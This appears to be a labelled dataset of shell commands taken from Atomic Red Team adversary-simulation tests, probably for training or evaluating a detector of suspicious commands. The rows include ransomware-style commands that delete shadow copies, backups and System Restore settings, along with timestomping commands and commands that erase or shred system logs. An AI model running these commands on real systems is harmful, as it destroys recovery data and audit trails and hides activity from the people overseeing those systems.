801ad3ba9c9e39049971f495,bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures bcdedit.exe /set {default} recoveryenabled no,bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures bcdedit.exe /set {default} recoveryenabled no,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1490/T1490.yaml,Windows - Disable Windows Recovery Console Repair,T1490,"[""T1490""]",windows,0.9,False,"Disables repair by the Windows Recovery Console on boot. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer.
Upon execution, ""The operation completed successfully."" will be displayed in the powershell session.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
61b1e368422858da2ac5f6f4,bcdedit.exe /set {default} bootstatuspolicy DisplayAllFailures >nul 2>&1 bcdedit.exe /set {default} recoveryenabled yes >nul 2>&1,bcdedit.exe /set {default} bootstatuspolicy DisplayAllFailures >nul 2>&1 bcdedit.exe /set {default} recoveryenabled yes >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1490/T1490.yaml,Windows - Disable Windows Recovery Console Repair,T1490,"[""T1490""]",windows,0.55,True,"Disables repair by the Windows Recovery Console on boot. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer.
Upon execution, ""The operation completed successfully."" will be displayed in the powershell session.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
76515da3942bbbee09302d33,Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();},Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1490/T1490.yaml,Windows - Delete Volume Shadow Copies via WMI with PowerShell,T1490,"[""T1490""]",windows,0.9,False,"Deletes Windows Volume Shadow Copies with PowerShell code and Get-WMIObject.
This technique is used by numerous ransomware families such as Sodinokibi/REvil.
Executes Get-WMIObject. Shadow copies can only be created on Windows server or Windows 8, so upon execution
there may be no output displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1dbaf2e7d23762bfcb53f5b2,del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk,del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1490/T1490.yaml,Windows - Delete Backup Files,T1490,"[""T1490""]",windows,0.9,False,"Deletes backup files in a manner similar to Ryuk ransomware. Upon exection, many ""access is denied"" messages will appear as the commands try
to delete files from around the system.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fafa2df367a67fd982e7c654,wbadmin delete systemstatebackup -keepVersions:0,wbadmin delete systemstatebackup -keepVersions:0,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1490/T1490.yaml,Windows - wbadmin Delete systemstatebackup,T1490,"[""T1490""]",windows,0.9,False,"Deletes the Windows systemstatebackup using wbadmin.exe. This technique is used by numerous ransomware families. This may only be successful on server platforms that have Windows Backup enabled.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5d69f468861ce1463d1479b3,"schtasks.exe /Change /TN ""\Microsoft\Windows\SystemRestore\SR"" /disable","schtasks.exe /Change /TN ""\Microsoft\Windows\SystemRestore\SR"" /disable",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1490/T1490.yaml,Windows - Disable the SR scheduled task,T1490,"[""T1490""]",windows,0.9,False,"Use schtasks.exe to disable the System Restore (SR) scheduled task
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
902f1de879cd6b9e3295d582,"schtasks.exe /Change /TN ""\Microsoft\Windows\SystemRestore\SR"" /enable >nul 2>&1","schtasks.exe /Change /TN ""\Microsoft\Windows\SystemRestore\SR"" /enable >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1490/T1490.yaml,Windows - Disable the SR scheduled task,T1490,"[""T1490""]",windows,0.55,True,"Use schtasks.exe to disable the System Restore (SR) scheduled task
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1a0d3c7d77d8a8fa1b323141,"reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore"" /v ""DisableConfig"" /t ""REG_DWORD"" /d ""1"" /f reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore"" /v ""DisableSR"" /t ""REG_DWORD"" /d ""1"" /f reg add ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore"" /v ""DisableConfig"" /t ""REG_DWORD"" /d ""1"" /f reg add ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore"" /v ""DisableSR"" /t ""REG_DWORD"" /d ""1"" /f","reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore"" /v ""DisableConfig"" /t ""REG_DWORD"" /d ""1"" /f reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore"" /v ""DisableSR"" /t ""REG_DWORD"" /d ""1"" /f reg add ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore"" /v ""DisableConfig"" /t ""REG_DWORD"" /d ""1"" /f reg add ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore"" /v ""DisableSR"" /t ""REG_DWORD"" /d ""1"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1490/T1490.yaml,Disable System Restore Through Registry,T1490,"[""T1490""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to disable system restore on the computer. 
See how remcos RAT abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d60aa821a3fb6c64c9879d00,"reg delete ""HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore"" /v ""DisableConfig"" /f >nul 2>&1 reg delete ""HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore"" /v ""DisableSR"" /f >nul 2>&1 reg delete ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore"" /v ""DisableConfig"" /f >nul 2>&1 reg delete ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore"" /v ""DisableSR"" /f >nul 2>&1","reg delete ""HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore"" /v ""DisableConfig"" /f >nul 2>&1 reg delete ""HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore"" /v ""DisableSR"" /f >nul 2>&1 reg delete ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore"" /v ""DisableConfig"" /f >nul 2>&1 reg delete ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore"" /v ""DisableSR"" /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1490/T1490.yaml,Disable System Restore Through Registry,T1490,"[""T1490""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to disable system restore on the computer. 
See how remcos RAT abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e15b6141ea3195b4bad1b176,vssadmin resize shadowstorage /For=C: /On=C: /MaxSize=20%,vssadmin resize shadowstorage /For=C: /On=C: /MaxSize=20%,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1490/T1490.yaml,Windows - vssadmin Resize Shadowstorage Volume,T1490,"[""T1490""]",windows,0.9,False,Adversaries generally try to Resize Shadowstorage Volume using vssadmin.exe to avoid the shadow volumes being made again. This technique is typically found used by adversaries during a ransomware event and a precursor to deleting the shadowstorage.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4c7e701e34dc13f63a2482dc,sc sdset VSS D:(D;;GA;;;NU)(D;;GA;;;WD)(D;;GA;;;AN)S:(AU;FA;GA;;;WD)(AU;OIIOFA;GA;;;WD),sc sdset VSS D:(D;;GA;;;NU)(D;;GA;;;WD)(D;;GA;;;AN)S:(AU;FA;GA;;;WD)(AU;OIIOFA;GA;;;WD),bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1490/T1490.yaml,Modify VSS Service Permissions,T1490,"[""T1490""]",windows,0.9,False,"This atomic test alters the security settings of the Volume Shadow Copy Service (VSS) by modifying its permissions, potentially impacting system recovery operations. The specific permissions set by the command are as follows:
- Deny Generic All (GA) permissions to Network Users (NU)
- Deny GA permissions to Everyone (WD)
- Deny GA permissions to Anonymous (AN)
- Allow Full Access (FA) and Generic All (GA) permissions to Everyone (WD) in System ACL (SACL)
- Allow Object Inherit and Inherit Only (",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e784ade4888fecd193b02d2b,sc sdset VSS D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;LC;;;BU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD),sc sdset VSS D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;LC;;;BU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD),bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1490/T1490.yaml,Modify VSS Service Permissions,T1490,"[""T1490""]",windows,0.55,True,"This atomic test alters the security settings of the Volume Shadow Copy Service (VSS) by modifying its permissions, potentially impacting system recovery operations. The specific permissions set by the command are as follows:
- Deny Generic All (GA) permissions to Network Users (NU)
- Deny GA permissions to Everyone (WD)
- Deny GA permissions to Anonymous (AN)
- Allow Full Access (FA) and Generic All (GA) permissions to Everyone (WD) in System ACL (SACL)
- Allow Object Inherit and Inherit Only (",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3e90f0ad0ae3bb92a8cace08,sudo tmutil disable,sudo tmutil disable,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1490/T1490.yaml,Disable Time Machine,T1490,"[""T1490""]",macos,0.9,False,"Disables Time Machine which is Apple's automated backup utility software. Attackers can use this to prevent backups from occurring and hinder the victim's ability to recover from any damage.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
11786240be70cf12cafb147b,sudo tmutil enable,sudo tmutil enable,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1490/T1490.yaml,Disable Time Machine,T1490,"[""T1490""]",macos,0.55,True,"Disables Time Machine which is Apple's automated backup utility software. Attackers can use this to prevent backups from occurring and hinder the victim's ability to recover from any damage.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
01f991893b8dedb0d23583b4,"""delete shadows all"" | diskshadow.exe","""delete shadows all"" | diskshadow.exe",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1490/T1490.yaml,Windows - Delete Volume Shadow Copies via Diskshadow,T1490,"[""T1490""]",windows,0.9,False,"Deletes Windows Volume Shadow Copies via Diskshadow binary. This technique is used by numerous ransomware families such as Crytox. The binary is present by default in Windows Server operating systems (since Windows Server 2008). Upon execution, it will delete all shadow copies of the server.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7f1df3f365d2c520f5dfd0a3,touch -a -t 197001010000.00 #{target_filename},touch -a -t 197001010000.00 #{target_filename},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.006/T1070.006.yaml,Set a file's access timestamp,T1070.006,"[""T1070.006""]","linux,macos",0.9,False,"Stomps on the access timestamp of a file
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1cd83cd231d9eec2938ca740,rm -f #{target_filename},rm -f #{target_filename},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.006/T1070.006.yaml,Set a file's access timestamp,T1070.006,"[""T1070.006""]","linux,macos",0.55,True,"Stomps on the access timestamp of a file
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
36009a886c4e7027b6e70546,touch -m -t 197001010000.00 #{target_filename},touch -m -t 197001010000.00 #{target_filename},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.006/T1070.006.yaml,Set a file's modification timestamp,T1070.006,"[""T1070.006""]","linux,macos",0.9,False,"Stomps on the modification timestamp of a file
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9e0dfaecf24438a3be327991,"NOW=$(date +%m%d%H%M%Y) date 010100001971 touch #{target_filename} date ""$NOW"" stat #{target_filename}","NOW=$(date +%m%d%H%M%Y) date 010100001971 touch #{target_filename} date ""$NOW"" stat #{target_filename}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.006/T1070.006.yaml,Set a file's creation timestamp,T1070.006,"[""T1070.006""]","linux,macos",0.9,False,"Stomps on the create timestamp of a file

Setting the creation timestamp requires changing the system clock and reverting.
Sudo or root privileges are required to change date. Use with caution.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d96054cf036afc69d7361ded,touch #{target_file_path} touch -acmr #{reference_file_path} #{target_file_path},touch #{target_file_path} touch -acmr #{reference_file_path} #{target_file_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.006/T1070.006.yaml,Modify file timestamps using reference file,T1070.006,"[""T1070.006""]","linux,macos",0.9,False,"Modifies the `modify` and `access` timestamps using the timestamps of a specified reference file.

This technique was used by the threat actor Rocke during the compromise of Linux web servers.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d142ec21f9f2f6cf1b35fe91,rm -f #{target_file_path},rm -f #{target_file_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.006/T1070.006.yaml,Modify file timestamps using reference file,T1070.006,"[""T1070.006""]","linux,macos",0.55,True,"Modifies the `modify` and `access` timestamps using the timestamps of a specified reference file.

This technique was used by the threat actor Rocke during the compromise of Linux web servers.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
199b70f5ce97b155ea9c84eb,"Get-ChildItem ""#{file_path}"" | % { $_.CreationTime = ""#{target_date_time}"" }","Get-ChildItem ""#{file_path}"" | % { $_.CreationTime = ""#{target_date_time}"" }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.006/T1070.006.yaml,Windows - Modify file creation timestamp with PowerShell,T1070.006,"[""T1070.006""]",windows,0.9,False,"Modifies the file creation timestamp of a specified file. This technique was seen in use by the Stitch RAT.
To verify execution, use File Explorer to view the Properties of the file and observe that the Created time is the year 1970.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
49aef2c2be2e7ce645165a47,"Get-ChildItem ""#{file_path}"" | % { $_.LastWriteTime = ""#{target_date_time}"" }","Get-ChildItem ""#{file_path}"" | % { $_.LastWriteTime = ""#{target_date_time}"" }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.006/T1070.006.yaml,Windows - Modify file last modified timestamp with PowerShell,T1070.006,"[""T1070.006""]",windows,0.9,False,"Modifies the file last modified timestamp of a specified file. This technique was seen in use by the Stitch RAT.
To verify execution, use File Explorer to view the Properties of the file and observe that the Modified time is the year 1970.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1d336cd004ca371d7f53ec40,"Get-ChildItem ""#{file_path}"" | % { $_.LastAccessTime = ""#{target_date_time}"" }","Get-ChildItem ""#{file_path}"" | % { $_.LastAccessTime = ""#{target_date_time}"" }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.006/T1070.006.yaml,Windows - Modify file last access timestamp with PowerShell,T1070.006,"[""T1070.006""]",windows,0.9,False,"Modifies the last access timestamp of a specified file. This technique was seen in use by the Stitch RAT.
To verify execution, use File Explorer to view the Properties of the file and observe that the Accessed time is the year 1970.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c265cadbb82b6044466b0a13,"import-module ""#{file_path}\timestomp.ps1"" timestomp -dest ""#{file_path}\kxwn.lock""","import-module ""#{file_path}\timestomp.ps1"" timestomp -dest ""#{file_path}\kxwn.lock""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.006/T1070.006.yaml,Windows - Timestomp a File,T1070.006,"[""T1070.006""]",windows,0.9,False,"Timestomp kxwn.lock.

Successful execution will include the placement of kxwn.lock in #{file_path} and execution of timestomp.ps1 to modify the time of the .lock file. 

[Mitre ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/master/adversary_emulation/APT29/CALDERA_DIY/evals/data/abilities/defensive-evasion/4a2ad84e-a93a-4b2e-b1f0-c354d6a41278.yml)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c68ee4c7f1e617feae558595,SetFile -m #{target_date} #{target_filename},SetFile -m #{target_date} #{target_filename},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.006/T1070.006.yaml,MacOS - Timestomp Date Modified,T1070.006,"[""T1070.006""]",macos,0.9,False,"Stomps on the modification timestamp of a file using MacOS's SetFile utility
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cb89b22ac6529c0e63349e2a,"try{ Set-Date -Date (Get-Date).AddDays(#{days_to_modify}) Add-Content ""$env:APPDATA\slipDays.bak"" #{days_to_modify} } catch {exit 1}","try{ Set-Date -Date (Get-Date).AddDays(#{days_to_modify}) Add-Content ""$env:APPDATA\slipDays.bak"" #{days_to_modify} } catch {exit 1}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.006/T1070.006.yaml,Event Log Manipulations- Time slipping via Powershell,T1070.006,"[""T1070.006""]",windows,0.9,False,"Changes the system time on the computer to a time that you specify. It involves altering the system’s clock or adjusting the dates of files, affecting timestamp integrity within Event Logs. This technique can disrupt the sequence of logged events, complicating incident analysis and forensics. 
Reference - 
https://detect.fyi/event-log-manipulations-1-time-slipping-55bf95631c40
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/set-date?view=powershell-7.4",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9f442c6a6441a6e7e1fa1731,"if(Test-Path ""$env:APPDATA\slipDays.bak"" ){ foreach($line in (get-content $env:APPDATA\slipDays.bak)){ Set-Date -Date (Get-Date).AddDays(-$line) } rm ""$env:APPDATA\slipDays.bak"" }","if(Test-Path ""$env:APPDATA\slipDays.bak"" ){ foreach($line in (get-content $env:APPDATA\slipDays.bak)){ Set-Date -Date (Get-Date).AddDays(-$line) } rm ""$env:APPDATA\slipDays.bak"" }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.006/T1070.006.yaml,Event Log Manipulations- Time slipping via Powershell,T1070.006,"[""T1070.006""]",windows,0.55,True,"Changes the system time on the computer to a time that you specify. It involves altering the system’s clock or adjusting the dates of files, affecting timestamp integrity within Event Logs. This technique can disrupt the sequence of logged events, complicating incident analysis and forensics. 
Reference - 
https://detect.fyi/event-log-manipulations-1-time-slipping-55bf95631c40
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/set-date?view=powershell-7.4",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8d8330bca46fd64dfae55ca5,sudo rm -rf #{syslog_path} if [ -d /var/audit ] ; then sudo rm -rf #{macos_audit_path} ; fi,sudo rm -rf #{syslog_path} if [ -d /var/audit ] ; then sudo rm -rf #{macos_audit_path} ; fi,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.002/T1070.002.yaml,rm -rf,T1070.002,"[""T1070.002""]","macos,linux",0.9,False,"Delete system and audit logs
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
623d94eeefa6933d68f53777,rm -rf /var/log/messages rm -rf /var/log/security,rm -rf /var/log/messages rm -rf /var/log/security,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.002/T1070.002.yaml,rm -rf,T1070.002,"[""T1070.002""]",linux,0.9,False,"Delete messages and security logs
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ee5b141a7cd4243ca59fa991,sudo log erase --all sudo log erase --ttl #Deletes only time-to-live log content,sudo log erase --all sudo log erase --ttl #Deletes only time-to-live log content,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.002/T1070.002.yaml,Delete log files using built-in log utility,T1070.002,"[""T1070.002""]",macos,0.9,False,"This test deletes main log datastore, inflight log data, time-to-live data(TTL), fault and error content
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
47d4c7babb13152dc2c7e1a8,sudo truncate -s 0 #{system_log_path} #size parameter shorthand,sudo truncate -s 0 #{system_log_path} #size parameter shorthand,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.002/T1070.002.yaml,Truncate system log files via truncate utility,T1070.002,"[""T1070.002""]",macos,0.9,False,"This test truncates the system log files using the truncate utility with (-s 0) parameter which sets file size to zero, thus emptying the file content
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
20b1e2434547e859b4faea27,truncate -s 0 /var/log/messages #size parameter shorthand truncate --size=0 /var/log/security #size parameter,truncate -s 0 /var/log/messages #size parameter shorthand truncate --size=0 /var/log/security #size parameter,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.002/T1070.002.yaml,Truncate system log files via truncate utility (freebsd),T1070.002,"[""T1070.002""]",linux,0.9,False,"This test truncates the system log files using the truncate utility with (-s 0 or --size=0) parameter which sets file size to zero, thus emptying the file content
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8e78795de8be60e3d8248755,sudo cat /dev/null > #{system_log_path} #truncating the file to zero bytes sudo dd if=/dev/zero bs=1000 count=5 of=#{system_log_path} #log file filled with null bytes(zeros),sudo cat /dev/null > #{system_log_path} #truncating the file to zero bytes sudo dd if=/dev/zero bs=1000 count=5 of=#{system_log_path} #log file filled with null bytes(zeros),bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.002/T1070.002.yaml,Delete log files via cat utility by appending /dev/null or /dev/zero,T1070.002,"[""T1070.002""]",macos,0.9,False,"The first sub-test truncates the log file to zero bytes via /dev/null and the second sub-test fills the log file with null bytes(zeroes) via /dev/zero, using cat utility
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
95806456bd82b34ac58a2e6a,cat /dev/null > /var/log/messages #truncating the file to zero bytes cat /dev/zero > /var/log/messages #log file filled with null bytes(zeros),cat /dev/null > /var/log/messages #truncating the file to zero bytes cat /dev/zero > /var/log/messages #log file filled with null bytes(zeros),bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.002/T1070.002.yaml,Delete log files via cat utility by appending /dev/null or /dev/zero (freebsd),T1070.002,"[""T1070.002""]",linux,0.9,False,"The first sub-test truncates the log file to zero bytes via /dev/null and the second sub-test fills the log file with null bytes(zeroes) via /dev/zero, using cat utility
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
646c03e6c9ad51feeb2fca6d,"sudo find /var/log -name '#{system_log_name1}*' -exec rm {} \; #using ""rm"" execution sudo find /var/log -name ""#{system_log_name2}*"" -exec shred -u -z -n 3 {} \; #using ""shred"" execution sudo find /var/log -name ""#{system_log_name3}*"" -exec unlink {} \; #using ""unlink"" execution","sudo find /var/log -name '#{system_log_name1}*' -exec rm {} \; #using ""rm"" execution sudo find /var/log -name ""#{system_log_name2}*"" -exec shred -u -z -n 3 {} \; #using ""shred"" execution sudo find /var/log -name ""#{system_log_name3}*"" -exec unlink {} \; #using ""unlink"" execution",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.002/T1070.002.yaml,System log file deletion via find utility,T1070.002,"[""T1070.002""]",macos,0.9,False,"This test finds and deletes the system log files within /var/log/ directory using various executions(rm, shred, unlink)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
18e0b93728d2c2de1bbe1283,sudo echo '' > #{system_log_path},sudo echo '' > #{system_log_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.002/T1070.002.yaml,Overwrite macOS system log via echo utility,T1070.002,"[""T1070.002""]",macos,0.9,False,"This test overwrites the contents of system log file with an empty string using echo utility
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
21136c02909fbcd1b9e84834,echo '' > /var/log/messages,echo '' > /var/log/messages,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.002/T1070.002.yaml,Overwrite FreeBSD system log via echo utility,T1070.002,"[""T1070.002""]",linux,0.9,False,"This test overwrites the contents of system log file with an empty string using echo utility
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7a7716d83f7a53cea0da8a55,sudo log -f /var/log/system.log | : > /var/log/system.log,sudo log -f /var/log/system.log | : > /var/log/system.log,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.002/T1070.002.yaml,Real-time system log clearance/deletion,T1070.002,"[""T1070.002""]",macos,0.9,False,"This test reads real-time system log file and writes empty string to it, thus clearing the log file without tampering with the logging process
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
86b9b2545de1b1c1da00ecd1,sudo unlink #{system_log_path},sudo unlink #{system_log_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.002/T1070.002.yaml,Delete system log files via unlink utility,T1070.002,"[""T1070.002""]",macos,0.9,False,"This test deletes the system log file using unlink utility
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
de5605a9f94146941914ef9b,unlink /var/log/messages,unlink /var/log/messages,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.002/T1070.002.yaml,Delete system log files via unlink utility (freebsd),T1070.002,"[""T1070.002""]",linux,0.9,False,"This test deletes the messages log file using unlink utility
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5e254c5eb20dbb8aeded0317,sudo shred -u -z -n 3 #{system_log_path},sudo shred -u -z -n 3 #{system_log_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.002/T1070.002.yaml,Delete system log files using shred utility,T1070.002,"[""T1070.002""]",macos,0.9,False,"This test overwrites the contents of the log file with zero bytes(-z) using three passes(-n 3) of data, and then delete the file(-u) securely
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
37a8083aa209325287c38f55,sudo srm #{system_log_path} #system log file deletion sudo srm -r #{system_log_folder} #recursive deletion of log files,sudo srm #{system_log_path} #system log file deletion sudo srm -r #{system_log_folder} #recursive deletion of log files,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.002/T1070.002.yaml,Delete system log files using srm utility,T1070.002,"[""T1070.002""]",macos,0.9,False,"This test securely deletes the system log files individually and recursively using the srm utility.
Install srm using Homebrew with the command: brew install khell/homebrew-srm/srm
Refer: https://github.com/khell/homebrew-srm/issues/1 for installation
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ed5dc0138c49ae78a20d4f74,"osascript -e 'do shell script ""rm #{system_log_path}"" with administrator privileges'","osascript -e 'do shell script ""rm #{system_log_path}"" with administrator privileges'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.002/T1070.002.yaml,Delete system log files using OSAScript,T1070.002,"[""T1070.002""]",macos,0.9,False,"This test deletes the system log file using osascript via ""do shell script""(sh/bash by default) which in-turn spawns rm utility, requires admin privileges
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6e0af2bfdfd7402fa96ec62e,"osascript -e 'tell application ""Finder"" to delete POSIX file ""#{system_log_path}""'","osascript -e 'tell application ""Finder"" to delete POSIX file ""#{system_log_path}""'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.002/T1070.002.yaml,Delete system log files using Applescript,T1070.002,"[""T1070.002""]",macos,0.9,False,"This test deletes the system log file using applescript using osascript via Finder application
